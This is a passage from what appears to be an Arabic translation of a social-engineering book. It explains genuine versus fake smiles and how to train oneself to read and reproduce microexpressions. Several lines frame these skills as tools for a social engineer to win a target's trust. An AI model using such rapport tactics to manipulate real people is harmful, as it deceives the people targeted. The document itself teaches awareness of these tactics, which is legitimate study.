‫"وﻣﯾض" ﻓﻲ ﻋﯾﻧﯾﮭﺎ ذﻟك ﺗﻣﺎﻣﺎ ﻻ ﯾوﺟد ﻣﻊ "اﻻﺑﺗﺳﺎﻣﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪/‬اﻟﻐﯾر ﺻﺎدﻗﮫ"‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺛﺎﻧﻲ‪.‬‬
‫إذا ﻗﻣت ﺑﻌرض اﻻﺑﺗﺳﺎﻣﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪/‬اﻟﻐﯾر ﺣﻘﯾﻘﯾﮫ‪ ،‬ﻓﺎن اﻟﺷﺧص اﻟﻌﺎدي ﻗد ﻻ ﯾﻧظر إﻟﯾك وﯾﻔﻛر‪" ،‬واو‪ ،‬ھذا اﻟﺷﺧص ﯾﺳﺗﺧدم ﻓﻘط ﻋﺿﻼت‬
‫‪ zygomatic major‬وﻻ ﯾﺳﺗﺧدم ﻋﺿﻼت ‪ ،orbicularis oculi‬إذا ﻓﺗﻠك اﻻﺑﺗﺳﺎﻣﺔ ھﻲ ﺑﺎﻟﺗﺄﻛﯾد وھﻣﯾﺔ "‪ ،‬وﻟﻛن اﻟﺷﺧص ﻗد ﯾﺷﻌر ﺑﻌدم‬
‫اﻻرﺗﯾﺎح ﻷﻧﮫ ﯾﺳﺗﺷﻌر أﻧك ﻻ ﺗظﮭر اﻟﻌﺎطﻔﺔ اﻟﺣﻘﯾﻘﯾﺔ‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾرﯾد أن ﯾﺟﻌل اﻟﮭدف ﯾﺑﺗﺳم‪ ،‬ﯾﺷﻌر ﺑﺣﺎﻟﺔ ﺟﯾدة‪ ،‬وداﺋﻣﺎ ﯾﻧظر ﻟك ﺑﺎﻋﺗﺑﺎرك ﺟدﯾرة ﺑﺎﻟﺛﻘﺔ‪ .‬اﻻﺑﺗﺳﺎﻣﺔ اﻟﺻﺎدﻗﺔ ﺗﻔﻌل ﻛل ذﻟك‪.‬‬
‫ﻓﻲ دراﺳﺔ "‪ ،"The Value of a Smile: Game Theory with a Human Face‬اﻟﺑﺎﺣﺛﯾن ﺷﺎرﻟﯾﻣﺎن‪ ،‬إﯾﻛل‪ ،‬ﻛﺎﺳﯾﻠﻧﯾك ووﯾﻠﺳون ﯾﺷﯾرا إﻟﻰ‬
‫أن اﻻﺑﺗﺳﺎﻣﺔ اﻟﺑﺳﯾطﺔ ﺗﺧﻠﻖ راﺑطﺎ ﻣﻊ اﻟﺷﺧص اﻟذي ﺗﺗﻔﺎﻋل ﻣﻌﮫ‪ ،‬وﺗﻘول ﻟﮫ أﻧك ﺟدﯾر ﺑﺎﻟﺛﻘﺔ وﻧرﯾد أن ﻧﺷﺟﻊ ﺳﻌﺎدﺗك‪ .‬ﻟﻘراءة اﻟﻣﻘﺎل ﻛﺎﻣﻼ‪،‬‬
‫ﯾرﺟﻰ زﯾﺎرة اﻟراﺑط اﻟﺗﺎﻟﻰ ‪.http://www.sciencedirect.com/science/article/pii/S0167487001000599‬‬
‫ﻣﻌرﻓﺔ ﻛل ھذا‪ ،‬ﺣري ﺑﺎﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺿﻣﺎن أﻧﮫ ﯾﻣﻛن اﻟﺳﯾطرة ﻋﻠﻰ ھذه اﻟﻣﺷﺎﻋر ﻋﻠﻰ اﻟرﻏم ﻣن اﻟﻌﺻﺑﯾﺔ واﻟﺧوف واﻟﻐﺿب‬
‫واﻟﻣﺷﺎﻋر اﻷﺧرى‪.‬‬
‫ﯾﺗﻔﻖ ﺑﺣث اﻟدﻛﺗور أﯾﻛﻣن ﻣﻊ دوﺷﯾن ﻋﻠﻰ اﻟرﻏم ﻣن أن اﻷﺑﺣﺎث اﻟﺣدﯾﺛﺔ ﺗﺷﯾر إﻟﻰ أن ھﻧﺎك اﻟﺑﻌض ﯾﻣﻛﻧﮭم ﺗدرﯾب أﻧﻔﺳﮭم ﻋﻠﻰ اﻟﺗﻔﻛﯾر ﻓﻲ‬
‫ﺷﻲء ﯾﺗﺳﺑب ﻓﻲ ﺗﺷﻐﯾل ھذه اﻟﻌﺿﻼت‪ .‬اﻻﺑﺗﺳﺎﻣﺔ اﻟﺣﻘﯾﻘﯾﺔ ﺗﺷﻣل ﻋﯾون ﺿﯾﻘﺔ‪ ،‬ﻣرﻓوع اﻟﺧدﯾن‪ ،‬واﻟﺟﻔن اﻟﺳﻔﻠﻰ ﻣﺳﺣوب ﻷﻋﻠﻰ‪ .‬ﻗد ﻗﯾل إن‬
‫اﻻﺑﺗﺳﺎﻣﺔ اﻟﺣﻘﯾﻘﯾﺔ ﯾﻧطوي ﻋﻠﻰ اﻟوﺟﮫ ﻛﻠﮫ‪ ،‬ﻣن اﻟﻌﯾن إﻟﻰ اﻟﻔم‪ ،‬ﻛﻣﺎ ﻧرى ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫اﻟﺗﻔﺻﯾل‪:‬‬
‫اﺗﺑﻊ اﻟﺧطوات اﻟﺗﺎﻟﯾﺔ ﻹﻧﺷﺎء اﺑﺗﺳﺎﻣﺔ ﺻﺎدﻗﺔ‪:‬‬
‫‪ -‬اﺑدأ ﻓﻲ اﻟﺗﻔﻛﯾر ﻓﻲ ﺷﻲء ﯾﺟﻌﻠك ﺳﻌﯾدا‪.‬‬
‫‪ -‬أرﻓﻊ ﺧدﯾك ﺣﯾن ﺗﻧﺷﺊ زواﯾﺎ اﻟﺷﻔﺎه اﻟﺧﺎص ﺑك‪ ،‬ﻛﻣﺎ ھو ﻣوﺿﺢ ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﺑدون اﻟﺗﺣدﯾﻖ‪ ،‬ارﻓﻊ ﺧدﯾك‪ .‬ذﻟك ﯾدﻓﻊ ﻋﯾﻧﯾك‪ ،‬ﻣﻣﺎ ﯾﺗﯾﺢ ﻟك إﻧﺷﺎء ﻏراب اﻟﻘدم )اﻧظر اﻟﺷﻛل اﻟﺗﺎﻟﻰ(‪.‬‬ ‫‪-‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪845‬‬

‫ﻛﻠﻣﺎ ﻧظرﺗم اﻟﻰ ﻋﯾون ﺷﺧص ﯾﺑﺗﺳم ﺑﺻدق‪ ،‬ﺳوف ﺗﻛون أﻛﺛر ﺳﻌﺎدة‪ .‬ھذا ھو ﺑﺳﺑب اﻟﻛﯾﻔﯾﺔ اﻟﺗﻲ ﺗﺄﺧذ ﺑﮭﺎ أدﻣﻐﺗﻧﺎ ھذه اﻟﻌﺎطﻔﺔ‪ .‬ﻛﻠﻣﺎ ﻧظرﻧﺎ‬
‫اﻟﻰ ھذه اﻟﻌﺎطﻔﺔ‪ ،‬ﻓﺈﻧﻧﺎ ﯾﻣﻛﻧﻧﺎ ﺑﺳﮭوﻟﺔ أن ﻧرى ھذه اﻟﻌﺎطﻔﺔ‪ .‬ﺑﻌد ﻗراءة ﺟﻣﯾﻊ اﻟﻣﻌﻠوﻣﺎت اﻟواردة ﻓﻲ ھذا اﻟﻔﺻل‪ ،‬ھل ﯾﻣﻛن أن ﺗﺗﺳﺎءل ﻛﯾف‬
‫ﯾﻣﻛﻧك ﻣﻣﺎرﺳﺔ اﻻﻋﺗراف ﺑﮭذه اﻟﻣﺷﺎﻋر‪.‬‬
‫ﻟو ﻗﻣﻧﺎ ﺑﺗﻐطﯾﺔ اﻟﻧﺻف اﻟﻌﻠوي ﻣن اﻟوﺟﮫ ﻟﻠدﻛﺗور أﯾﻛﻣن ﻓﺎﻧﮫ ﺳوف ﯾﺻﺑﺢ ﻣن اﻟﺻﻌب أن ﺗﻔرق ﺑﯾن اﻻﺑﺗﺳﺎﻣﺔ اﻟﺣﻘﯾﻘﯾﺔ ﻣن اﻻﺑﺗﺳﺎﻣﺔ اﻟﻣزﯾﻔﺔ‪.‬‬
‫اﻧﮭﺎ ﻟﯾﺳت ﺣﺗﻰ ﺗﻘوم ﺑﻔﺣص اﻟﻌﯾون اﻟﺗﻲ ﺗﺻﺑﺢ واﺿﺣﺔ‪ ،‬ﺟﻧﺑﺎ إﻟﻰ ﺟﻧب‪ ،‬واﻟﺗﻲ ﺗوﺿﺢ اﻟوھﻣﯾﺔ واﻟﺣﻘﯾﻘﯾﺔ‪.‬‬
‫ﻋﻧدﻣﺎ ﯾرى اﻟﺷﺧص اﺑﺗﺳﺎﻣﺔ ﺣﻘﯾﻘﯾﺔ ﻋﻠﻰ وﺟﮭﮫ ﺷﺧص آﺧر‪ ،‬ﯾﻣﻛن أن ﯾؤدي ذﻟك اﻟﻰ اﻧﻔﻌﺎل داﺧل أﻧﻔﺳﮭم‪ ،‬ﺗﺳﺑب ﻟﮭم أن ﯾﺑﺗﺳم‪ .‬اﻟﺷﻛل‬
‫اﻟﺗﺎﻟﻲ‪ ،‬ﯾظﮭر ھذا اﻟرﺟل اﻟﺳﻌﺎدة اﻟﺣﻘﯾﻘﯾﺔ ﻣﻊ اﺑﺗﺳﺎﻣﺔ ﺣﻘﯾﻘﯾﺔ‪ .‬ﻻﺣظ ﻛﯾف ﺗﺷﺎرك وﺟﮭﮫ ﻛﻠﮫ ﻓﻲ ھذه اﻻﺑﺗﺳﺎﻣﺔ‪.‬‬
‫ﻣن وﺟﮭﺔ ﻧظر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ اﻛﺗﺷﺎف وﺧﻠﻖ اﺑﺗﺳﺎﻣﺔ ﺣﻘﯾﻘﯾﺔ أﯾﺿﺎ ھو ﻗطﻌﺔ ﺛﻣﯾﻧﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬
‫ﯾرﯾد ھدﻓﺎ ﻟوﺿﻌﮭﺎ ﻓﻲ ﺳﮭوﻟﺔ‪ ،‬وذﻟك ﻟﯾﻛون ﻟﮭﺎ أﻛﺑر ﺗﺄﺛﯾر إﯾﺟﺎﺑﻲ ﻋﻠﻰ اﻟﮭدف‪ .‬ﯾﺑدأ اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ أي ﺷﻛل‪ ،‬ﺳواء ﻛﺎﻧوا ﻣﻧدوﺑﻲ‬
‫اﻟﻣﺑﯾﻌﺎت‪ ،‬ﻣﻌﻠﻣﯾن‪ ،‬ﻋﻠﻣﺎء اﻟﻧﻔس‪ ،‬أو أي ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ آﺧر‪ ،‬وﻏﺎﻟﺑﺎ ﻗﺑﺎﻟﺔ ﻣﺣﺎدﺛﺔ ﻣﻊ اﺑﺗﺳﺎﻣﺔ‪ .‬ﺑﺳرﻋﺔ أدﻣﻐﺗﻧﺎ ﺗﺣﻠﯾل ﻛﯾف ﻧﺷﻌر ﺣول‬
‫اﻟﻣدﺧﻼت اﻟﺑﺻرﯾﺔ اﻟﺗﻲ ﺗواﻓرت ﻟدﯾﻧﺎ‪ ،‬وﯾﻣﻛن أن ﺗؤﺛر ﻋﻠﻰ ﺑﻘﯾﺔ اﻟﺗﻔﺎﻋل‪.‬‬
‫ھﻧﺎك اﻟﻛﺛﯾر ﻣن اﻟﻣﻌﻠوﻣﺎت ﻓﻲ اﻟﻘﺳم اﻟﺳﺎﺑﻖ‪ ،‬وﻟﻛن ھل ﯾﻣﻛن أن ﻧﺗﺳﺎءل ﻛﯾف ﯾﻣﻛن ﺗدرﯾب اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أﻧﻔﺳﮭم ﻟﯾس ﻓﻘط ﻟرؤﯾﺔ‬
‫‪ microexpressions‬وﻟﻛن أﯾﺿﺎ ﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ‪.‬‬

‫ﻗﻢ ﺑﺘﺪرﯾﺐ ﻧﻔﺴﻚ ﻟﺮؤﯾﺔ ﺗﻌﺒﯿﺮات اﻟﻮﺟﮭﺔ )‪(Training Yourself to See Microexpressions‬‬

‫ھوﻟﯾوود ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺑﺎﻟﻎ ﻓﻲ ﻗدرات اﻟﺷﺧﺻﯾﺎت اﻟﺗﻲ ﺗظﮭر ﻓﻲ اﻷﻓﻼم واﻟﺗﻠﻔزﯾون‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ ﻋرض ﺗﻠﻔزﯾوﻧﻲ اﻟﺟدﯾد ﻟﻠﻣﺳﻠﺳل‬
‫‪) Lie To Me‬اﻟﻣﺑﻧﻰ ﻋﻠﻰ أﺑﺣﺎث اﻟدﻛﺗور أﯾﻛﻣن( اﻟﺷﺧﺻﯾﺔ اﻟرﺋﯾﺳﯾﺔ‪ ،‬اﻟدﻛﺗور ﻻﯾﺗﻣﺎن‪ ،‬ﯾﻣﻛﻧﮫ ﻗراءة ‪ microexpressions‬ﺑدون أي‬
‫ﺟﮭد‪ ،‬وﻣﺎ ھو أﻛﺛر ﻣن اﻟﻣدھش ھو أﻧﮫ ﻋﺎدة ﻣﺎ ﯾﻣﻛﻧﮫ أن ﯾﻘول ﻟك ﻟﻣﺎذا ھذه اﻟﻌﺎطﻔﺔ ﺗﺣدث‪.‬‬
‫ﻟﻛن ﻓﻲ واﻗﻊ اﻟﺣﯾﺎة‪ ،‬ﻓﺈن اﻟﻛﺛﯾر ﻣن اﻷﺑﺣﺎث اﻟﺗﻲ أﺟرﯾت ﻣن ﻗﺑل أوﻟﺋك ﻓﻲ ھذا اﻟﻣﺟﺎل‪ ،‬ﻣﺛل اﻟدﻛﺗور أﯾﻛﻣن‪ ،‬ﯾﻌﻧﻲ اﻟﺟﻠوس أﻣﺎم اﻟﺟﻠﺳﺎت‬
‫ﺑﺷﻛل ﻣﺳﺑﻖ وﺗﺣﻠﯾل ھذه اﻟدورات إطﺎر إطﺎر‪ .‬ﺑﻌد ﺳﻧوات ﻋدﯾدة ﻣن اﻟﻌﻣل ﻓﻲ ھذه اﻟﻣﮭﻣﺔ ﻓﺎﻧﮫ ﯾﺻﺑﺢ ﻋﻠﻰ اﻻرﺟﺢ ﻗﺎدر ﻋﻠﻰ ﻣﻼﺣظﺔ‪،‬‬
‫اﻟﺗﻘﺎط وﺗﺣﻠﯾل ‪ microexpressions‬ﺑﺳرﻋﺔ ﻛﺑﯾرة‪ .‬ﻓﻲ ‪ 1970‬ﻓﻌل ﻣﺷروع ﺑﺣﺛﻲ ﺣﯾث ﺗﻌرف ﻋﻠﻰ ﺑﻌض اﻟذﯾن ﻟدﯾﮭم اﻟﻘدرة اﻟطﺑﯾﻌﯾﺔ‬
‫ﻟﻣﻼﺣظﮫ وﺗﺣﻠﯾل ‪ microexpressions‬ﺑﺷﻛل ﺻﺣﯾﺢ‪.‬‬
‫ﻷن اﻟﻛﺛﯾر ﻣﻧﺎ ﻗد ﻻ ﯾﻘﻊ ﺿﻣن ھذه اﻟﻔﺋﺔ ﺻﺎﺑﺣﺔ اﻟﻘدرة اﻟطﺑﯾﻌﯾﺔ ﻟﺗﺣﯾل ‪ microexpressions‬ﻓﻧﺣن ﺑﺣﺎﺟﺔ إﻟﻰ وﺳﯾﻠﺔ ﻟﻣﻣﺎرﺳﺔ وﺗدرﯾب‬
‫وإﺗﻘﺎن أداء‪ ،‬وﻗراءة‪ ،‬واﺳﺗﺧدام ‪ .microexpressions‬أﺳﺗطﯾﻊ ان اﻗول ﻟﻛم ﻣﺎ ﯾﺻﻠﺢ ﻟﻲ‪ .‬ﻟﻘد ﻗرأت ﺑﻌض اﻷﺳﺎﻟﯾب ﻋن ﻛﯾﻔﯾﺔ اﻟﺗﻌرف ﻋﻠﻰ‬
‫‪ microexpressions‬ﻣﻌﯾﻧﺔ‪ ،‬ﺛم ﻣﺣﺎوﻟﺔ اﺳﺗﻧﺳﺎخ ھذه اﻟﺗﻌﺑﯾرات ﺑﺎﺳﺗﺧدام اﻟﻣرآة‪ ،‬ﺛم ﻣﻘﺎرﻧﺔ اﻟﺗﻌﺑﯾر اﻟذي ﻗﻣت ﺑﺈﻧﺷﺎﺋﮫ ﻣﻊ اﻟﻣﻼﺣظﺎت ﻣن‬
‫اﻟﻣﮭﻧﯾﯾن اﻟذﯾن ﺻﻧﻔوا ﻛﯾف ﯾﺗم ذﻟك‪ .‬ﻋﺎدة ﯾﻛون ﻟدى اﻟﺻورة اﻟﺗﻲ ﺗظﮭر اﻟﻌﺎطﻔﺔ واﻟﺗﻲ أﻋﻣل ﻋﻠﯾﮭﺎ وذﻟك ﻷن وﺟود ﺷﻲء ﻟﻠﺗﻘﻠﯾد ﯾﺳﺎﻋدﻧﻲ‪.‬‬
‫ﺑﻌد أﺷﻌر أﻧﻧﻲ ﺑﺣﺎﻟﺔ ﺟﯾدة ﻧﺳﺑﯾﺎ ﺣول اﺳﺗﻧﺳﺎخ ‪ microexpressions‬ﻓﺄﻧﻰ أرﻛز ﻋﻠﻰ ﻛﯾف ھذا ﯾﺟﻌﻠﻧﻲ أﺷﻌر‪ ،‬ﺗﻐﯾﯾر وﺗﺑدﯾل ﻣﻧﺎطﻖ‬
‫ﺻﻐﯾرة ﺣﺗﻰ ﺣرﻛﺎت ﻋﺿﻠﯾﺔ ﺗﺳﺑب ﻟﻲ أن أﺷﻌر ﺑﺎﻟﻌواطف اﻟﻣطﺎﺑﻘﺔ‪.‬‬
‫ﺑﻌد ذﻟك اﺳﺗﺧدم اﻻﻧﺗرﻧت ﺑﺣﺛﺎ ﻋن اﻟﺻور وﻣﺣﺎوﻟﺔ اﻟﺗﻌرف ﻋﻠﻰ اﻟﺗﻌﺑﯾرات ﻓﻲ ﺗﻠك اﻟﺻور‪ .‬اﻟﺧطوة اﻟﻣﻘﺑﻠﺔ‪ ،‬أﺳﺟل اﻷﺧﺑﺎر أو اﻟﺑراﻣﺞ‬
‫اﻟﺗﻠﻔزﯾوﻧﯾﺔ واﻟﻌب ﺟز ًء ﻣﻌﯾﻧﺎ ﻓﻲ ﺣرﻛﺔ ﺑطﯾﺋﺔ ﻣﻊ اﻟﺻوت ﻗﺑﺎﻟﺔ ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ﯾﻣﻛن ﺗﺣدﯾد اﻟﻌﺎطﻔﺔ‪ ،‬ﺛم اﻻﺳﺗﻣﺎع إﻟﻰ اﻟﻘﺻﺔ ﻟﻣﻌرﻓﺔ ﻣﺎ إذا‬
‫ﻛﻧت ﻗرﯾﺑﺎ‪ .‬ﻛل ھذا ﯾؤدي إﻟﻰ اﻟﻌﻣل ﻣﻊ "اﻟﻣواﺿﯾﻊ اﻟﺣﯾﺔ"‪ .‬أﺷﺎھد ﺗﻔﺎﻋل اﻟﻧﺎس ﻣﻊ ﺑﻌﺿﮭم اﻟﺑﻌض وﻣﺣﺎوﻟﺔ اﻟﺗﻌرف ﻋﻠﻰ اﻟﻌواطف اﻟﺗﻲ‬
‫ﯾﺷﻌرون ﺑﮭﺎ أﺛﻧﺎء ﻣﻧﺎﻗﺷﺎﺗﮭم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪846‬‬

‫اﻟﺳﺑب ﻓﻲ اﺧﺗﯾﺎري ھذا اﻟطرﯾﻖ ﻗﺑل ﻣﺣﺎوﻟﺔ ﻗراءة ‪ microexpressions‬ﻓﻲ ﻣﺣﺎدﺛﺎﺗﻲ اﻟﺧﺎﺻﺔ ھو أﻧﻧﻲ وﺟدت أن ﻣﺣﺎوﻟﺔ ﻓﻌل ذﻟك ﻓﻲ‬
‫ﺑﯾﺋﺔ ﺣﯾﺔ دون اﻟﺣﺎﺟﺔ إﻟﻰ اﻟﺗرﻛﯾز أﯾﺿﺎ ﻋﻠﻰ ﺟﻌل ﻣﺣﺎدﺛﺔ ﺟﯾدة ھو أﺳﮭل‪ .‬ﻟﻘد ﻗرأت ﻟﻠﺗو ﺗﻌﺎﺑﯾر اﻟوﺟﮫ وﻟﯾس اﻟﺣﺻول ﻋﻠﻰ اﻟﺧﻠط ﻣن ﺟﺎﻧب‬
‫اﻟﻣدﺧﻼت اﻟﺣﺳﯾﺔ اﻷﺧرى‪ .‬ھذه اﻟطرﯾﻘﺔ اﻟﺳﺎﺑﻘﺔ اﻟﺗﻲ اﺳﺗﺧدﻣﮭﺎ اﻟﻣؤﻟف ھﻲ واﺣدة اﻋﺗﺎد ان ﯾﺳﺗﺧدﻣﮭﺎ ﻗﺑل ان ﯾﺳﻧﺢ ﻟﮫ اﻟﻔرﺻﺔ ﻟﻠﻘﺎء اﻟدﻛﺗور‬
‫أﯾﻛﻣن وإدﺧﺎﻟﮭﺎ إﻟﻰ أﺳﺎﻟﯾب ﺗدرﯾﺑﮫ‪ .‬ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﻟدﯾﮫ اﻟﻛﺗب اﻟﺗﻲ ﺗﺣﺗوي ﺧطوة ﺑﺧطوة إرﺷﺎدات ﺣول إﻋﺎدة وﻗراءة ھذه اﻟﺗﻌﺑﯾرات‪ .‬ﺗﺷﻣل‬
‫ﻛﺗﺑﮫ أﯾﺿﺎ ﺻور ﺗظﮭر اﻟﻌواطف ﻓﺿﻼ ﻋن أﻣﺛﻠﺔ ﻓﻲ اﻷﺧﺑﺎر اﻟﺗﻲ ﺗظﮭر ﺗﻠك اﻟﻣﺷﺎﻋر‪ .‬ﻛﺗﺎب ‪ Emotions Revealed‬ﯾﻔﻌل ھذا ﺑﺷﻛل‬
‫ﻣﺣﺗرف ﺟدا واﻟﺗﻲ ھﻲ ﻣﻣﺗﺎزة ﻟﻠﺗﻌﻠم‪.‬‬
‫ﻓﻲ اﻟﺳﻧوات اﻷﺧﯾرة‪ ،‬طور اﻟدﻛﺗور أﯾﻛﻣن وﻗﺎم ﺑﺈﺻدار ھذه اﻟﺗدرﯾب اﻟﻣﺧﺻﺻﺔ ﻠﻠ ‪ microexpressions‬ﻋﻠﻰ ﻣوﻗﻌﮫ ﻋﻠﻰ اﻻﻧﺗرﻧت‪،‬‬
‫‪ ،www.paulekman.com‬ﻟدﯾﮫ ﺛﻼﺛﺔ أﻧواع ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﺗدرﯾب اﻟﺗﻲ ﻏﯾرت اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﻣﻛن ﻟﻠﻧﺎس أن ﯾﺗﻌﻠم ھذا اﻟﻌﻠم ﺑﻘوة‪.‬‬
‫ﺗدرﯾب أﯾﻛﻣن )‪ (Ekman’s training‬ﯾﻌطﻲ اﻟﻣﺳﺗﺧدم درﺳﺎ ﻋن ﻛل ﻧوع ﻣن ‪ microexpressions‬ﻋﺑر اﻟﻔﯾدﯾو وﻧص‪ .‬اﻟﻣﺳﺗﺧدم ﯾﻣﻛﻧﮫ‬
‫إﻋﺎدة ﺗﺷﻐﯾل اﻟﻔﯾدﯾو ﻟﺗﻌﺑﯾر ﻣﻌﯾن ﻟﯾرى ﻛﯾف ﻛل ﺟزء ﻣن اﻟوﺟﮫ ﯾﺷﺎرك ﻓﻲ ھذا اﻟﺗﻌﺑﯾر‪ .‬ﺑﻌد ﻗﺿﺎء اﻟﻣﺳﺗﺧدم اﻟﻛﺛﯾر ﻣن اﻟوﻗت ﻟﺗﻌﻠم وﻣﺷﺎھدة‬
‫ﻣﻘﺎطﻊ اﻟﻔﯾدﯾو‪ ،‬ﻓﺎﻧﮫ ﯾﻣﻛن أن ﯾﺄﺧذ اﻻﺧﺗﺑﺎر اﻟﻘﺑﻠﻲ‪ .‬ﻓﻲ اﻻﺧﺗﺑﺎر اﻟﻘﺑﻠﻲ ﯾﺗﯾﺢ ﻟﮫ أن ﯾرى ﺟﯾدا ﻛﯾف ﯾﻼﺣظ ‪ .microexpressions‬ﻋﻧدﻣﺎ ﯾﺿﻊ‬
‫اﻟﻣﺳﺗﺧدم اﻟﺗﺧﻣﯾﻧﺎت ﻋن ‪ microexpressions‬اﻟﺗﻲ ﯾﺗم ﻋرﺿﮭﺎ‪ ،‬ﻓﺎﻧﮫ ﯾﻣﻛن اﻟﺣﺻول ﻋﻠﻰ ﺗﺄﻛﯾد أو ﺗﺻﺣﯾﺢ‪ .‬إذا ﻛﺎﻧت ھﻧﺎك ﺣﺎﺟﺔ اﻟﻰ‬
‫ﺗﺻﺣﯾﺢ ﻓﺄﻧﮫ ﯾﻣﻛن أن ﯾﺄﺧذ اﻟﺗﻌﻠﯾم واﻟﺗدرﯾب اﻹﺿﺎﻓﻲ‪.‬‬
‫ﺑﻌد ان ﯾﺻﺑﺢ اﻟﻣﺳﺗﺧدم واﺛﻖ ﻓﻲ ﻗدراﺗﮫ ﻓﺎﻧﮫ ﯾﻣﻛن أن ﯾدﺧل اﻻﺧﺗﺑﺎر اﻟﺣﻘﯾﻘﻲ‪ .‬ﻓﻲ اﻻﻣﺗﺣﺎن اﻟﻧﮭﺎﺋﻲ ﻻ ﯾﺗم ﻣﻧﺢ أي ﺗﺻﺣﯾﺢ‪ .‬ﯾظﮭر اﻟﻣﺳﺗﺧدم‬
‫‪ microexpressions‬ﻣرة واﺣدة ﺑﻣوﺟز ‪ 25/1‬ﻣن اﻟﺛﺎﻧﯾﺔ‪ ،‬وﻣن ﺛم ﯾﺟب ﻋﻠﯾﮭﺎ وﺗﺣدﯾد ﻣﺎ ھﻲ ‪ microexpressions‬ﺛم اﻻﻧﺗظﺎر ﻟﺗﻛون‬
‫ﻣﺗدرﺟﺔ ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف‪.‬‬
‫ھذا اﻟﻧوع ﻣن اﻟﺗدرﯾب أداة ﯾﻣﻛن أن ﯾﺳﺗﻐرق ﺳﻧوات ﻟﻠﺧروج ﻣن ﻣﻧﺣﻧﻰ اﻟﺗﻌﻠم اﻟﺧﺎص ﺑك ﻓﻲ أن ﺗﺻﺑﺢ ﺑﺎرﻋﺎ ﻓﻲ ﻗراه ‪.microexpressions‬‬
‫ﺗﺣذﯾر واﺣد‪ :‬اﻟدﻛﺗور أﯾﻛﻣن‪ ،‬ﻓﺿﻼ ﻋن ﻣﻌﺎﺻرﯾﮫ‪ ،‬اﻟﺣﺎﻟﺔ اﻟﺗﻲ ﻋﻠﻰ اﻟرﻏم ﻣن أﻧك ﻗد ﺗﺻﺑﺢ ﺑﺎرﻋﺎ ﻓﻲ ﻗراءة ‪ ،microexpressions‬ﻓﺎن‬
‫‪ microexpressions‬ﻣﺣدودة‪ .‬ﻣﺎذا ﯾﻌﻧﻲ ذﻟك؟‬
‫واﺣدة ﻣن اﻟﺧدع‪/‬اﻟﺣﯾل اﻟﻔﻌﺎﻟﺔ واﻟﺗﻲ ﺗﺳﺗﺧدم ﻟﺗﻛون ﻗﺎدر ﻋﻠﻰ أن ﺗظﮭر ﺑﻧﺟﺎح اﻟﻌﺎطﻔﺔ اﻟﻣﻧﺎﺳﺑﺔ ھو اﻟﺗذﻛر واﻟﺗرﻛﯾز ﻋﻠﻰ اﻟوﻗت اﻟذي ﻛﺎﻧوا‬
‫ﯾﺷﻌرون ﺣﻘﺎ ﺑﺗﻠك اﻟﻣﺷﺎﻋر وﺗﺣﺗﺎج اﻟﻰ ﺗﺻوﯾرھﺎ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻟﺣظﺔ اﻟﺳﻌﺎدة اﻟﺗﻲ أﻧﺗﺟت اﺑﺗﺳﺎﻣﺔ ﺣﻘﯾﻘﯾﺔ‪ .‬ﻛﻣﺎ ذﻛر ﻓﻲ وﻗت ﺳﺎﺑﻖ‪،‬‬
‫ﯾﺻﻧﻊ اﺑﺗﺳﺎﻣﺔ ﺣﻘﯾﻘﯾﺔ ﻣن اﻟﺻﻌب ﺟدا ﺗزﯾﻔﮭﺎ إذا ﻛﻧت ﻻ ﺗﺷﻌر ﺣﻘﺎ ﺑﺎﻟﺳﻌﺎدة‪ ،‬وﻟﻛن إذا ﻛﺎن ﯾﻣﻛﻧك إﺣﺿﺎر اﻟذاﻛرة ﻋﻧدﻣﺎ ﺷﻌرت ﺑﺗﻠك اﻟﻌﺎطﻔﺔ‬
‫ﻓﺎن ﻋﺿﻼﺗك ﺳوف ﺗﺗذﻛر وﺗﺗﻔﺎﻋل‪.‬‬
‫ﻟذﻟك‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ ﯾﻣﻛن أن ﺗﺻﺑﺢ ﺑﺎرﻋﺎ ﻓﻲ ﻗراءة اﻟﻣﺷﺎﻋر‪ ،‬ﻻ ﯾﻣﻛﻧك ﻗراءة اﻟﺳﺑب وراء ذﻟك‪ .‬ﻟﻣﺎذا ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗم ﻓﻘداﻧﮫ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻌﻠم‪.‬‬
